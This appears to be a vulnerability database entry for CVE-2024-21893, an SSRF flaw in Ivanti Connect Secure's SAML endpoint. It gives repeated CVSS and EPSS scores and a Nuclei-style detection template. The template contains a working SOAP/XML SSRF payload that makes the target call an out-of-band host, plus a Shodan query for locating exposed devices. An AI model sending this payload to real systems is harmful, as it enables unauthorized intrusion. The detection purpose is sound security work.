9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.973 High
EPSS
Percentile
99.9%
A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
id: CVE-2024-21893
info:
name: Ivanti SAML - Server Side Request Forgery (SSRF)
author: DhiyaneshDk
severity: high
description: |
A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
reference:
- https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
- https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
- https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
- https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2024-21893
cwe-id: CWE-918
epss-score: 0.96249
epss-percentile: 0.9949
cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ivanti
product: "connect_secure"
shodan-query: "html:\"welcome.cgi?p=logo\""
tags: cve,cve2024,kev,ssrf,ivanti
http:
- raw:
- |
POST /dana-ws/saml20.ws HTTP/1.1
Host: {{Hostname}}
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://{{interactsh-url}}"/> <ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body></soap:Envelope>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body
words:
- '/dana-na/'
- 'WriteCSS'
condition: and
# digest: 490a0046304402200a0547b87f667aa36af039f186372735c368c54758d1da68f5b0fd18312a8c0402201944364cc59a7b39458b86b84369d97aa826d793c83d4c42fed8f694a87920be:922c64590222798bb761d5b6d8e72950
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.973 High
EPSS
Percentile
99.9%